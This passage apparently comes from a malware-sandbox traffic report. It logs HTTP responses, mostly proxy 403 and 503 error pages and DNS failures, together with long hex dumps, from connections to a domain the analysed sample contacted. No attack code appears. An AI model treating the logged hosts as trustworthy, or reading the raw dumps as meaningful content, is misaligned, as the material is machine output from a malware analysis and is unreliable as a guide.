61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 23 Feb 2024 08:45:23 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 306Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:23 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:24 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:25 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Fri, 23 Feb 2024 08:45:25 GMTContent-Length: 88Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 6f 6e 20 31 32 37 2e 30 2e 30 2e 31 3a 35 33 3a 20 6e 6f 20 73 75 63 68 20 68 6f 73 74 0a Data Ascii: dial tcp: lookup heygirlisheeverythingyouwantedinaman.com on 127.0.0.1:53: no such host
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 522<html><head><meta http-equiv="Content-Type" content="textml;charset=GB2312" /><style>body{background-color:#FFFFFF}</style> <title>167.17</title><script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://114.115.192.246:9080/error.html"; }</script> </head><body><iframe style="width:100%; height:100%;" id="mainFrame" src="" frameborder="0" scrolling="no"/></body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:26 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.6Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:26 GMTContent-Type: text/html;charset=utf-8Content-Length: 3702X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERRO
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.5.27Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:26 GMTContent-Type: text/html;charset=utf-8Content-Length: 3761X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Fri, 23 Feb 2024 08:45:27 GMTContent-Length: 88Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 6f 6e 20 31 32 37 2e 30 2e 30 2e 31 3a 35 33 3a 20 6e 6f 20 73 75 63 68 20 68 6f 73 74 0a Data Ascii: dial tcp: lookup heygirlisheeverythingyouwantedinaman.com on 127.0.0.1:53: no such host
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:28 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:30 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlServer: Zscaler/6.2Cache-Control: no-cacheAccess-Control-Allow-Origin: *Content-length: 13837Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 73 65 63 75 72 69 74 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 74 77 6f 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 